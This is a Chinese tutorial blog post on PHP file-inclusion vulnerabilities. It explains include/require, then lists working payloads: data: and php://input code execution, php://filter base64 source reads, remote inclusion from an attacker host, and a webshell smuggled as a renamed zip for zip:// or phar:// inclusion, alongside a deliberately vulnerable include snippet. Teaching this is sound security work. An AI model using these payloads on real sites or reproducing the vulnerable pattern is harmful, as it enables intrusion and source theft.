本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。
服务端漏洞——文件包含
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页面需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
PHP中文件包含函数有以下四种:
include() 找不到文件会警告,脚本继续执行
include_once() 与include类似,只是代码若被包含,则不会再次包含
require() 找不到文件会产生致命错误,并停止脚本
require_once() 与require类似,只是代码若被包含,则不会再次包含
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
文件包含漏洞存在:include参数可控
-
执行任意文件代码(搭配文件上传,可执行
a.jpg) -
任意文件读取(路径可控,若文件内无
<?php标记) -
真·任意文件执行
错误配置:php.ini中allow_url_fopen与allow_url_include均开启远程文件包含 http://[ip]/a.txt //远程服务器没有远程服务器?
data: text/plain,<?php echo "aaaa";?> data%3a+text/plain,<%3fphp+echo+"aaaa"%3b+%3f>php://input //获取post数据 -
真·任意代码读取
#将index.php内容进行base64编码后包含[将<等进行转义了] 搭配php://filter伪协议 php://filter/read=convert.base64-encode/resource=index.php
绕过上传文件:
若include限制,仅允许包含PHP后缀文件
<?php include($_GET['action'].".php")>
利用zip://或phar://读取压缩包内php文件:
-
创建webshell文件a.php
-
zip协议压缩a.php,得到a.zip
-
修改a.zip为a.jpg
-
上传a.jpg
-
获得a.jpg路径,进行包含
-
zip://a.jpg%23a #作为分隔符 %23 访问压缩包内的a phar://a.jpg/a /为分隔符
PHP伪协议
file://:访问本地文件系统
http://:访问网址
php://:访问各个输入输出流
zip://:获取zip压缩包内内容
phar://:1.获取压缩包内内容 2 反序列化利用